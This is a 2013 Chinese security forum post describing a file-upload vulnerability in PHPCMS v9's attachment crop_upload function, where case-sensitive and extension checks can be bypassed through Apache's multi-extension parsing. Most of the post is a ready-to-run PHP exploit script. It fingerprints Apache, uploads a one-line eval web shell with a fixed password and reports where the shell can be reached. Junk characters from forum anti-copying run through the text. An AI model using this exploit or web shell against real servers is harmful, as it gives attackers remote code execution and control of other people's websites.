找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2502|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
% u7 R& M; L* L* ?* K# A' i9 Q
( T. g# N) k$ B3 z简要描述:
% n! _* A" n1 T5 @  Z4 z" H3 `# r
phpcms v9 getshell (apache)3 B% _+ `( Y+ v! z' I
详细说明:
4 }5 t+ S$ z; T6 p* H/ G  ^3 C# M
  ?' `+ S) ^1 K- s# J1 l漏洞文件:phpcms\modules\attachment\attachments.php9 D' S  f$ g) X5 T6 D
7 j- r+ v( ?  s' {
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ' E) O2 f% ?6 U: J/ n4 x
后缀检测:phpcms\modules\attachment\functions\global.func.php+ u+ N2 v( O8 A
! O2 B8 [% O9 F/ k$ t9 T
6 H+ L1 {, G+ O- K& j1 ?; b& [

; w, X( v8 O% `9 p* Wfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
% I- W9 S$ m0 Y( ]# R9 H. C7 C
9 `% p! K/ C: r$ S! a0 W关键函数:" ?% z5 j5 T% d
. o7 Q. u( Z( S# U: |
; d0 s  o9 Z7 h' Z

8 M: ?* Y! g% T7 Y& |/ s: X- afunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  1 A/ y8 K- i$ b" O/ |" q

% u+ I9 [3 ?; V; D  Fileext函数是对文件后缀名的提取。
- Z4 b- o9 }% e根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" ~5 i/ `/ l+ J# P2 M( I& D7 {  H# _经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
9 Z% t" [. G% f* D5 }我们回到public function crop_upload() 函数中5 k! \+ w8 k4 k+ b( H$ f
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();2 @. B( u  a' e9 q& b  ]
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数/ m# k4 u2 J$ V" t. w. t; @4 j+ |7 C
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。: |# @8 j. R7 Z/ u
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。8 f0 D+ H8 L1 b  @' p
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
8 ^, r! @6 }: p看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 x: Y1 c7 |6 h4 e
漏洞证明:+ V( i7 X: s$ T: D
9 r& X, e! S0 B. i) ~+ L
exp:- K% j' ?, w& Q
0 n# P- F' v/ P3 C
<?php* V2 }3 O9 ~& J4 e- z- E
error_reporting(E_ERROR);
6 {( n" {7 u5 i* j8 ^8 b$ }# qset_time_limit(0);7 K- H/ c8 n3 A" m
$pass="ln";' Q! V- N, o- H* x: X% a0 I
print_r('
' o: t# G1 D) b8 ]8 |+---------------------------------------------------------------------------+& f1 @, N  E( i- y) V* R2 U/ C4 f
PHPCms V9 GETSHELL 0DAY % Y5 z% F2 g6 y1 E
code by L.N.
2 l5 A5 Y2 L- y7 s& x' K; [- f( i! \8 n! Z
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
  _3 N9 V- j; `% l' e6 F+---------------------------------------------------------------------------+  e( _0 c" S9 l2 b# ~0 B
');
- S  u6 R2 u9 t( Nif ($argc < 2) {
& T+ {/ S# U( P0 @4 K8 d! Tprint_r('
& ~2 @* w; a) h8 c0 h2 k+---------------------------------------------------------------------------+# a8 B5 w- |$ t; y
Usage: php '.$argv[0].' url path
9 N" \% p4 a# m# V& n4 |0 s, _3 F9 [
Example:
. [8 f# x% C: ]: J& R( G9 u1.php '.$argv[0].' lanu.sinaapp.com
, M9 M& P  K0 Y4 a! f" q& y2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 S5 D2 n# Z" [; Q) J+---------------------------------------------------------------------------+
+ k* `' c4 L9 ]7 X4 p, C1 L');
4 W! y% w+ B5 q& Bexit;6 f% H' G* j% d6 g$ Z
}
, A* s5 l" K3 _9 o' N1 ^& @
6 p8 o8 p/ K: _8 G0 Q. A( O4 \" L$url = $argv[1];/ ^+ u; a  t. h/ g% F4 E
$path = $argv[2];7 t& o9 q4 V: \: l, `+ H7 v( h3 g
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 P8 y5 l! w3 M  ^) h
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
1 a- c$ E8 w3 Pif($ret=Create_dir($url,$path))1 }4 g" R. N. T/ p: ^, z
{
6 ~$ P4 H8 H3 e2 b  d//echo $ret;
- t3 R6 J+ O4 Q$pattern = "|Server:[^,]+?|U";  T! l% e; s! z# T0 }
preg_match_all($pattern, $ret, $matches);
+ z# d/ j+ x% k, G! @if($matches[0][0])
, S, J7 h9 C: v5 ]: Q. ?( H{
9 y; O2 F" ^8 ~( P* q, u+ Yif(strpos($matches[0][0],'Apache') == false)) }# ~6 e% T( ?- I
{& A! k4 Y. c, j2 ^, p3 t: o
echo "\n亲!此网站不是apache的网站。\n";exit;, t9 D" Y3 O* n5 H  t
}
* E: j2 ?6 O& H: m' _3 B}$ n" y  B, l& M+ d& q
$ret = GetShell($url,$phpshell,$path,$file);
, T0 \2 E! y4 D& |  `/ d$pattern = "|http:\/\/[^,]+?\.,?|U";9 ]( g9 Y/ {- N# {0 d: E
preg_match_all($pattern, $ret, $matches);
$ U" G: U7 m. O7 ~# bif($matches[0][0])% f7 h% L8 U0 |! E' k! Z
{
, S# U; e2 z1 _8 K8 A) L% Jecho "\n".'密码为: '.$pass."\n";  p% }6 {5 G6 B0 I4 d/ z8 x5 r
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;7 k0 I9 e  g4 W" W" Z  f
}
! T2 l( P$ g  s8 uelse
4 T$ K, ~" M, Y! S{' B9 ?* ], q4 Z8 G8 Q
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 M% s$ [- M& v+ X. Dpreg_match_all($pattern, $ret, $matches);
4 X3 @# K" Z: S/ ~. O9 P, @! x9 p  Xif($matches[0][0]); k/ Q6 K7 I; T8 h! S
{
  R, F3 \5 O& v$ g  v6 Qecho "\n".'密码为: '.$pass."\n";
. v; x! D3 B' y( {# eecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- A0 R4 e' g! _+ H
}/ m9 m  |3 V: F
else
+ Z( k- G, m4 o/ K7 B+ P! l( h8 |{8 d& N7 I- A2 S; H# X3 W
echo "\r\n没得到!\n";exit;/ m* V2 z* N: @0 L( z2 K
}( j! d) S) Q: U
}
7 n; o1 C  B- i4 N) i}( l% G' X- R" J1 w9 Y6 l

# f+ k$ Q4 N4 O; C, hfunction GetShell($url,$shell,$path,$js); F  d: y: B) S
{
6 }" j- b# M- `% i1 B. V$content =$shell;
4 ^" q' s3 ^+ l/ i7 e- I$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";/ l9 ]! p' I) ]2 [0 V- h. P  E
$data .= "Host: ".$url."\r\n";
; M" f; c) y! V- R" O1 F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' q! v1 R5 X. c4 G+ T$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 b$ B1 Y4 C) ^/ _: s8 N( n$ r
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
, g9 t) M! _# B/ Y+ p$data .= "Connection: close\r\n";
- h7 S0 b% J' ~; l) ?$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 D  t' R  h9 ^. T$data .= $content."\r\n";
* z' c- v% G- V* K$ock=fsockopen($url,80);
, f: f4 d' m0 Wif (!$ock)& x4 M+ R" n& m1 c+ Y
{9 L4 K) ~6 T% A  }  G9 K
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: |) d1 V  z5 J/ Z0 H3 U8 F}+ l+ A9 ^3 H0 m  e- ?
else0 Q  C1 _+ h" o- h9 Z; A; F* q
{( t. s' T. ]  C7 k3 ?
fwrite($ock,$data);7 F  a7 M2 |0 I, A
$resp = '';
# r# W7 A* \& N3 h/ r' @while (!feof($ock))
4 U3 D7 M' P7 Z8 ~8 K& k{5 W4 b7 n% r% Z4 u3 R: \2 H0 g
$resp.=fread($ock, 1024);/ e0 z: X* r, u5 `2 X- H8 J0 G, O
}7 `$ L8 j. u3 O, U$ H! Q
return $resp;+ F  C8 A# L: c1 U
}* o* [( W5 p# |/ z9 X  |
}
3 W! s1 b8 z3 N; ?8 I. u
! I! U8 C& h9 m! S4 ?* _function Create_dir($url,$path='')
1 a7 [' k- J" u  z{
. b* Q( u. V% ?* W8 {' w$content ='I love you';" E3 F& v) n  v% N- h
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 _# u( Y% z& O  x% q
$data .= "Host: ".$url."\r\n";, m$ i% ^& I2 U- W% A2 [
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% F3 D9 L/ M. r  @: o$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; [( ^: w% P; h' h7 {- p8 E' k4 j$ r$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! Q9 Q( \1 S0 X0 k4 u1 \! x# V$data .= "Connection: close\r\n";
% I8 i6 D- h$ ?. P$ {$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 s: c' m# D6 T
$data .= $content."\r\n";2 |5 |  T  r8 N3 b3 K8 w
$ock=fsockopen($url,80);0 l' }. H4 f# |8 U1 H7 e6 p. H
if (!$ock)
+ m$ z) ?; h6 `/ F! X7 O9 [9 G0 J{
& E: y' ]! J' C* H; a/ L- |echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 k4 v1 j& d: v}1 _. B6 T7 _* ~# F
fwrite($ock,$data);
8 ~* e/ |) k: i* g$resp = '';
; B& A- V8 m0 a3 `: d. M0 bwhile (!feof($ock))0 D& `$ E4 j) t
{
4 z( ^0 ^5 x2 k2 {# B) P$resp.=fread($ock, 1024);9 F8 ?  u, ^9 q4 \; ]
}/ @( @1 x# x7 L( u
return $resp;) I$ u) |+ x, r" Y- R* }
}: h) f* G4 {( L. h6 _$ D; `/ x
?>
% K' B6 ]+ H" w & H, _9 p; k1 }# Y) V$ H
修复方案:
, X: c( S5 A4 j. j, g
; ^! `$ q8 U% A) f$ `# b过滤过滤再过滤# L9 `; j0 p! K# h3 v
* F+ n# a4 \6 ^* {, g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表